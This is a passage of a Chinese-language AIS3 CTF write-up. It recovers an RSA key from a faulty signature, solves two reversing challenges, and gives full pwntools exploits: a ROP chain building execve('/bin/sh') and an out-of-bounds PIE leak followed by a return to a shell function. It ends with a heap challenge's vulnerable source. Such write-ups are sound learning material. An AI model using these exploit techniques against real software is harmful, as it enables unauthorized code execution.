print("選2,讓m簽名(faulty_signature)")
faulty_signature = input("signature (base64) : ")
f_signature=bytes_to_long(b64decode(faulty_signature.encode()))
for a in range(512):
p_rec=libnum.gcd(pow(f_signature^a,e,N)-m,N)
q_rec = N//p_rec
if p_rec!=1:
print("p recovered: ",p_rec)
print("q recovered: ",q_rec)
break
#找到p,q後可以找出私鑰
phi=(p_rec-1)*(q_rec-1)
d=pow(e,-1,phi)
signature=pow(58390298905807142549536595535040245956000670278430985491775738737127640060178,d,N)
signature=long_to_bytes(signature)
import binascii
signature = binascii.hexlify(signature).decode('utf-8')
print("這裡拿到的是hex的signature,轉成base64(可以丟到cyberchef): ", signature)
#最後選擇3,丟進去就get flag了
```


> AIS3{IJustWantItFasterQAQ}
# Reverse
## The Long Print
有個執行檔,先丟進去ida作分析,因為執行起來會卡,所以先把sleep patch掉,但他沒有印出flag

`\rOops! Where is the flag? I am sure that the flag is already printed!`
分析一下發現他運算完後忘記print出來來,就把東西抓下來run一遍就行了

### script
```python=
import time
secret = bytearray([
ord('F'), ord('A'), ord('K'), ord('E'), 0x0B, 0x00, 0x00, 0x00,
ord('{'), ord('h'), ord('o'), ord('o'), 0x0A, 0x00, 0x00, 0x00,
ord('r'), ord('a'), ord('y'), ord('_'), 0x02, 0x00, 0x00, 0x00,
ord('s'), ord('t'), ord('r'), ord('i'), 0x08, 0x00, 0x00, 0x00,
ord('n'), ord('g'), ord('s'), ord('_'), 0x06, 0x00, 0x00, 0x00,
ord('i'), ord('s'), ord('_'), ord('a'), 0x05, 0x00, 0x00, 0x00,
ord('l'), ord('w'), ord('a'), ord('y'), 0x07, 0x00, 0x00, 0x00,
ord('s'), ord('_'), ord('a'), ord('n'), 0x04, 0x00, 0x00, 0x00,
ord('_'), ord('u'), ord('s'), ord('e'), 0x09, 0x00, 0x00, 0x00,
ord('f'), ord('u'), ord('l'), ord('_'), 0x00, 0x00, 0x00, 0x00,
ord('c'), ord('o'), ord('m'), ord('m'), 0x01, 0x00, 0x00, 0x00,
ord('a'), ord('n'), ord('z'), ord('}'), 0x03, 0x00, 0x00, 0x00,
])
key = [
0x3A011001, 0x4C4C1B0D, 0x3A0B002D, 0x454F40, 0x3104321A,
0x3E2D161D, 0x2C120A31, 0x0D3E1103, 0x0C1A002C, 0x41D1432,
0x1A003100, 0x76180807
]
for i in range(0, 24, 2):
secret_value = int.from_bytes(secret[4 * i:4 * i + 4], 'little')
secret_index = int.from_bytes(secret[4 * i + 4:4 * i + 8], 'little') % len(key)
v4 = secret_value ^ key[secret_index]
for j in range(4):
print(chr(v4 & 0xFF), end='', flush=True)
v4 >>= 8
print(v4)
#AIS3{You_are_the_master_of_time_management!!!!?}
```
> AIS3{You_are_the_master_of_time_management!!!!?}
## 火拳のエース
丟進去ida,一樣把printflag裡面的sleep patch掉,把sleep大概邏輯是長這樣,輸入的東西就是flag,經過運算後會比對看對不對,所以就是反著推一遍就行了(最後加上他一開始印的flag開頭)


另外每個字是獨立運算的,所以complex可以透過輸入來對答案(大寫),這樣就不需要逆推那一坨複雜的運算了
```python=
import time
import random
def xor_strings(a1, a2, a3):
result = ''
for i in range(8):
v6 = int(a1[i], 16)
v5 = int(a2[i], 16)
result += hex(v6 ^ v5)[2:]
return result
def complex_function(a1, a2):
if a1 <= 64 or a1 > 90:
print("It feels slightly wrong, but almost correct...")
v8 = (17 * a2 + a1 - 65) % 26
v7 = a2 % 3 + 3
v2 = a2 % 3
if a2 % 3 == 2:
v8 = (v8 - v7 + 26) % 26
elif v2 <= 2:
if v2:
if v2 == 1:
v8 = (2 * v7 + v8) % 26
else:
v8 = (v7 * v8 + 7) % 26
return chr(v8 + 65)
unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04]
v12 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]#
v13 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]#
v14 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]#
def main():
v3 = int(time.time())
random.seed(v3)
buffer0 = [''] * 8
buffer1 = [''] * 8
buffer2 = [''] * 8
buffer3 = [''] * 8
buffer0 = input("Enter value for buffer0 (8 characters): ").strip()[:8]
buffer1 = input("Enter value for buffer1 (8 characters): ").strip()[:8]
buffer2 = input("Enter value for buffer2 (8 characters): ").strip()[:8]
buffer3 = input("Enter value for buffer3 (8 characters): ").strip()[:8]
xor_strings(buffer0, unk_804A163, buffer0)
xor_strings(buffer1, v12, buffer1)
xor_strings(buffer2, v13, buffer2)
xor_strings(buffer3, v14, buffer3)
for i in range(8):
buffer0[i] = complex_function(ord(buffer0[i]), i)
buffer1[i] = complex_function(ord(buffer1[i]), i + 32)
buffer2[i] = complex_function(ord(buffer2[i]), i + 64)
buffer3[i] = complex_function(ord(buffer3[i]), i + 96)
if (buffer0 == "DHLIYJEG"
and buffer1 == "MZRERYND"
and buffer2 == "RUYODBAH"
and buffer3 == "BKEMPBRE"):
print("Yes! I remember now, this is it!")
else:
print("It feels slightly wrong, but almost correct...")
main()
```
### script
這是我推的過程,可以推推看(我知道很亂就是了)
```python=
#unk_804A163 = [ 0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00]
#v12 = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]#
#v13 = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]#
#v14 = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]#
#buffer0=""
#xor_strings(buffer0, unk_804A163, buffer0)
#
'''
def complex_function(buffer0[i], i):
#if a1 <= 64 or a1 > 90:
# print("It feels slightly wrong, but almost correct...")
v8 = (17 * i + buffer0[i] - 65) % 26
v7 = i % 3 + 3
v2 = i % 3
if v2 == 2:#2、5
v8 = (v8 - v7 ) % 26
elif v2 == 1:#1、4、7
v8 = (2 * v7 + v8) % 26
else:#0、3、6
v8 = (v7 * v8 + 7) % 26
#
return chr(v8 + 65)
'''
def reverse_engineer(i, target_char):
target_value = ord(target_char) - 65
for buffer0_i in range(65, 91): # Looping through 'A' to 'Z'
v8 = (17 * i + buffer0_i - 65) % 26
v7 = i % 3 + 3
v2 = i % 3
if v2 == 2:
v8 = (v8 - v7) % 26
elif v2 == 1:
v8 = (2 * v7 + v8) % 26
else:
v8 = (v7 * v8 + 7) % 26
if v8 == target_value:
print(chr(buffer0_i),end="")
return None
'''
for i in range(8):
buffer0[i] = complex_function(ord(buffer0[i]), i)
'''
ans="BKEMPBRE"
for i in range(0,8):
reverse_engineer(i+96,ans[i])
#############################
#"DHLIYJEG"=complex_function(ord(buffer0[i]), i) i=0~7
#ans-65
input_string = "QIIKAHBJ"
byte_array = [0x0E, 0x0D, 0x7D, 0x06, 0x0F, 0x17, 0x76, 0x04, 0x00]
ascii_values = [ord(char) for char in input_string]
result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]
result_string = ''.join(chr(value) for value in result)
#print(result_string)
#_D4MN_4N
#TRDMYLWD
#
input_string = "TRDMYLWD"
byte_array = [0x6D, 0x00, 0x1B, 0x7C, 0x6C, 0x13, 0x62, 0x11]
ascii_values = [ord(char) for char in input_string]
result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]
result_string = ''.join(chr(value) for value in result)
#print()
#print(result_string)
#9R_15_5U
input_string = "NMTLWVYB"
byte_array = [0x1E, 0x7E, 0x06, 0x13, 0x07, 0x66, 0x0E, 0x71]
ascii_values = [ord(char) for char in input_string]
result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]
result_string = ''.join(chr(value) for value in result)
#print()
#print(result_string)
#P3R_P0W3
#ERHAXFUN
input_string = "ERHAXFUN"
byte_array = [0x17, 0x14, 0x1D, 0x70, 0x79, 0x67, 0x74, 0x33]
ascii_values = [ord(char) for char in input_string]
result = [ascii_values[i] ^ byte_array[i] for i in range(len(input_string))]
result_string = ''.join(chr(value) for value in result)
print()
print(result_string)
#RFU1!!!}
#AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
```
> AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}
# Pwn
## Mathter
### checksec

看到開了canary但其實沒開

### 解法

goodbye函數裡面有`gets`可以做buffer overflow的利用
這邊可以堆ROP
- execve('/bin/sh')
|暫存器|值|
|---|----|
|rax|0x3b|
|rdi|要執行的參數值(/bin/sh)|
|rsi|argv(這裡=0)|
|rdx|envp(這裡=0)|
找ROPgadget
|ROPgadget|address|
|---|----|
|pop rax ;ret|0x42e3a7|
|pop rdi ;ret|0x402540|
|pop rsi ;ret|0x4126a3|
|pop rdx ; pop rbx ; ret|0x47b917|
|syscall|0x4013ea|
|mov [rax + 8], rdx; ret|0x42f6b3|
|memory can write|0x4bc140|
另外找到一段可寫段,選一段看起來沒用到的空間來寫入`/bin/sh`,這邊選`0x4bc140`
`mov [rax + 8], rdx; ret` 會將rdx的值寫到rax所存的位址+8,所以`/bin/sh`被寫到`0x4bc148`
之後再從這裡拿寫進`rdi`


stack狀態
```
AAAAAA(0x4+0x8)
pop rdx rbx
/bin/sh\x00
0
pop rax
0x4bc140
mov [rax + 8], rdx; ret
pop rax
0x3b
pop rdi
0x4bc148
pop rsi
0
pop rdx ; pop rbx
0
0
syscall
```
### script
```python=
from pwn import *
context.arch='amd64'
#r=remote("chals1.ais3.org",50001)
r=process("./mathter")
write_binsh={
"pop_rdx_rbx_addr":0x47b917,
"pop_rdx_value":b'/bin/sh\x00',
"pop_rbx_value":0,
"pop_rax_addr":0x42e3a7,
"pop_rax_value":0x4bc140,
"mov":0x42f6b3
}
writebinsh_payload=flat(write_binsh["pop_rdx_rbx_addr"],
write_binsh["pop_rdx_value"],
write_binsh["pop_rbx_value"],
write_binsh['pop_rax_addr'],
write_binsh["pop_rax_value"],
write_binsh["mov"]
)
ROPvar={
'pop_rax_ret':0x42e3a7,
'pop_rdi_ret':0x402540,
'pop_rsi_ret':0x4126a3,
'pop_rdx_rbx_ret':0x47b917,
'syscall':0x4013ea
}
STACKvar={
'rax_var':0x3b,
'rdi_var':0x4bc148,
'rsi_var':0,
'rdx_var':0,
'rbx_var':0
}
ROP_payload=flat(ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['pop_rdx_rbx_ret'],
STACKvar['rdx_var'],
STACKvar['rbx_var'],
ROPvar['syscall'])
payload=b'a'*(0x4+0x8)+writebinsh_payload+ROP_payload
r.sendlineafter(b"Enter an operation and two numbers (e.g., 1 + 1) :",b"q")
r.sendlineafter(b"Are you sure you want to leave? [Y/n]",payload)
r.interactive()
```

> AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}
### 題外話
這題好像只是單純的ret2func,結果我把他想太難,直接堆ROP,我以為那兩個function是假的function
## base64 encoder
### source code
```c
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void Vincent55Orz(){
puts("Here's a shell from NASA hacked Vincent55.🛐🛐🛐");
system("sh");
}
void base64_encoding(const char *table, char *buf, size_t len) {
printf("Result: ");
const int append_mod[3] = {0, 2, 3};
const int mod[3] = {0, 2, 1};
int out = 4 * (len / 3) + append_mod[len % 3];
for (size_t i = 0; i < len;) {
int32_t tmp_a = i < len ? buf[i++] : 0; //0xff
int32_t tmp_b = i < len ? buf[i++] : 0; //0xff
int32_t tmp_c = i < len ? buf[i++] : 0; //0xff
int32_t combined = (tmp_a << 0x10) + (tmp_b << 0x08) + tmp_c; //讓她是負數 -> oob
//printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 18) % 64); // 分別print一個index
if (out) {
putchar(table[(combined >> 18) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 12) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 6) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 0) % 64]);
out--;
}
}
for (int i = 0; i < mod[len % 3]; i++) putchar('=');
putchar('\n');
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char buf[0x40];
const char table[0x40] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'};
while (1) {
printf("Text: ");
memset(buf, 0, sizeof(buf));
if (scanf("%[^\n]%*c", buf) != 1) return 0;
base64_encoding(table, buf, strlen(buf));
}
return 0;
}
```
### ckecksec

開NX、PIE
### 分析
```c=
scanf("%[^\n]%*c", buf)
```
這地方有個很明顯的Buffer overflow
```c=
void Vincent55Orz(){
puts("Here's a shell from NASA hacked Vincent55.🛐🛐🛐");
system("sh");
}
```
這個function開了一個shell,如果沒有PIE直接return過去就好了,但這題有開PIE,function的為只會加上PIE base,所以要leak PIE base
```
PIE(stack)-stack offset=PIE base
```
哪裡可以leak PIE呢
```c
if (out) {
putchar(table[(combined >> 18) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 12) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 6) % 64]);
out--;
}
if (out) {
putchar(table[(combined >> 0) % 64]);
out--;
}
```
這裡要了解一件事,就是C語言裡面的`%`不是取模,而是取餘,所以可以oob。
另外他有一個提示是他有一個debug留下來,可以透過那個debug,在本地自己重新編譯一個後,來知道要索引是多少
```
printf("%d %d %d %d\n",(combined >> 18) % 64,(combined >> 12) % 64,(combined >> 6) % 64,(combined >> 0) % 64)
```
(記的把最後一個改回0)
之後就開始暴力搜索出
`table[-3] table[-4] table[-5] table[-6] table[-7] table[-8]`,這些byte組起來就是PIE(stack)了
main+299->6 bytes的位址在stack上(PIE過)->oob 索引-3 -4 -5 -6 -7 -8組起來


找PIE base

找到offset
之後就可以每輪leak出PIE找到base了,最後return過去
```python=
from pwn import *
r = process('./base64e')
r.sendlineafter(b': ', b'\x55\x55\x01') #改這裡面的,看有沒有輸出想要的索引
# r.recvline()
# a = r.recvline()
# print(a)
# print(hex(a[1]))
r.interactive()
```
總之亂試後就可以找到了
最後就可以減出PIE base
```
0x40+0x8(old rbp)+ret的func位置+往後跳一點(加上PIE base)
```

### script
```python=
from pwn import *
context.arch='amd64'
r = remote('chals1.ais3.org', 50002)
# r = process('./base64encoder')
#-5
ans = 0
r.sendlineafter(b'Text: ', b'\xdc\xba\xbf')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie_5=a
#-8
r.sendlineafter(b'Text: ', b'\xd5\xb4\xb8')
r.recvuntil(b'Result: ')
a = r.recvline()[3]
pie_8=a
#-6
r.sendlineafter(b'Text: ', b'\xd5\xb4\xba\xaa')
r.recvuntil(b'Result: ')
a = r.recvline()[3]
pie_6=a
#-4
r.sendlineafter(b'Text: ', b'\xdc\xcb\xaa\xcc')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie_4=a
#-7
r.sendlineafter(b'Text: ', b'\xf0\x91\x01')
r.recvuntil(b'Result: ')
a = r.recvline()[1]
pie7=a
#-3
pie3=0x55
pie=(pie3<<40)+(pie_4<<32)+(pie_5<<24)+(pie_6<<16)+(pie7<<8)+pie_8
PIE_BASE = pie - 0x15f8 #pie - stack offset
print(hex(PIE_BASE))
payload = b'A'*(0x40+0x8) + flat(PIE_BASE+0x1231)
r.sendlineafter(b': ',payload)
r.sendlineafter(b': ',b'\n')
r.interactive()
#AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db}
```

這題Leak PIE很像之前看到一題叫ROT13的,超有趣的利用方法
> AIS3{1_g0t_WA_on_my_H0m3work_Do_YoU_h4v3_aNY_idea???_22281a41372450db}
## inception
### source code
```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<stdint.h>
#define MAX 10
#define LOOP_LIMIT 15
void init(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
}
typedef struct {
char *content;
int id;
} Dream;
Dream dreams[MAX];
int next_id = 1;
void welcome_message() {
printf("Hello Dream Architect, you've been invited to join the Kazma Pikachu Team's Dream Building Training!\n");
printf("Here in our Hyperbolic Time Chamber, you can hone your dream crafting skills and prepare for upcoming missions.\n\n");
}
void print_dream_layer_menu() {
printf("How deep do you want to build the dream?\n");
printf("1. First layer\n");
printf("2. Second layer\n");
printf("3. Third layer\n");
printf("> ");
}
void build_dream(){
print_dream_layer_menu();
int choice;
scanf("%d", &choice);
uint64_t size = 0;
switch(choice) {
case 1: size = 0x38; break;
case 2: size = 0x68; break;
case 3: size = 0x108; break;
default:
printf("Invalid choice.\n\n");
return;
}
for(int i = 0; i < MAX; ++i){
if(!dreams[i].content){
dreams[i].content = malloc(size);
printf("Describe the dream: ");
read(0, dreams[i].content, size - 1);
dreams[i].content[size - 1] = '\0';
dreams[i].id = next_id++;
printf("Dream built with ID %d in the layer!\n\n", dreams[i].id);
return;
}
}
printf("All dream layers are occupied!\n\n");
}
void infiltrate_dream(){
printf("Enter dream ID to infiltrate:\n> ");
int id;
scanf("%d", &id);
for (int i = 0; i < MAX; ++i){
if(dreams[i].id == id && dreams[i].content != NULL){
printf("Infiltrating dream ID %d:\n%s\n\n", id, dreams[i].content);
return;
}
}
printf("No such dream with that ID!\n\n");
}
void destroy_dream(){
printf("Enter dream ID to destroy:\n> ");
int id;
scanf("%d", &id);
for (int i = 0; i < MAX; ++i){
if(dreams[i].id == id && dreams[i].content != NULL){
free(dreams[i].content);
printf("Dream destroyed!\n\n");
return;
}
}
printf("No such dream with that ID!\n\n");
}
void menu(){
printf("1. Build a dream\n");
printf("2. Infiltrate a dream\n");
printf("3. Destroy a dream\n");
printf("4. Exit\n");
printf("> ");
}
int main(){
init();
printf("\n ██╗ ██╗███╗ ██╗ ██████╗███████╗██████╗ ████████╗██╗ ██████╗ ███╗ ██╗ ██╗ \n");
printf(" ██╔╝ ██║████╗ ██║██╔════╝██╔════╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗ ██║ ╚██╗ \n");
printf("██╔╝ ██║██╔██╗ ██║██║ █████╗ ██████╔╝ ██║ ██║██║ ██║██╔██╗ ██║ ╚██╗\n");
printf("╚██╗ ██║██║╚██╗██║██║ ██╔══╝ ██╔═══╝ ██║ ██║██║ ██║██║╚██╗██║ ██╔╝\n");
printf(" ╚██╗ ██║██║ ╚████║╚██████╗███████╗██║ ██║ ██║╚██████╔╝██║ ╚████║ ██╔╝ \n");
printf(" ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ \n");
printf(" \n");
welcome_message();
int loop_count = 0;
while(loop_count < LOOP_LIMIT){
menu();
int n;
scanf("%d", &n);
switch(n){
case 1:
build_dream();
break;
case 2:
infiltrate_dream();
break;
case 3:
destroy_dream();
break;
case 4:
printf("Enemies are waking up, time to retreat!\n\n");
exit(0);
break;
default:
printf("Capabilities insufficient.\n\n");
break;
}
loop_count++;
}
printf("Oh no, running out of stamina...\n");
return 0;
}
```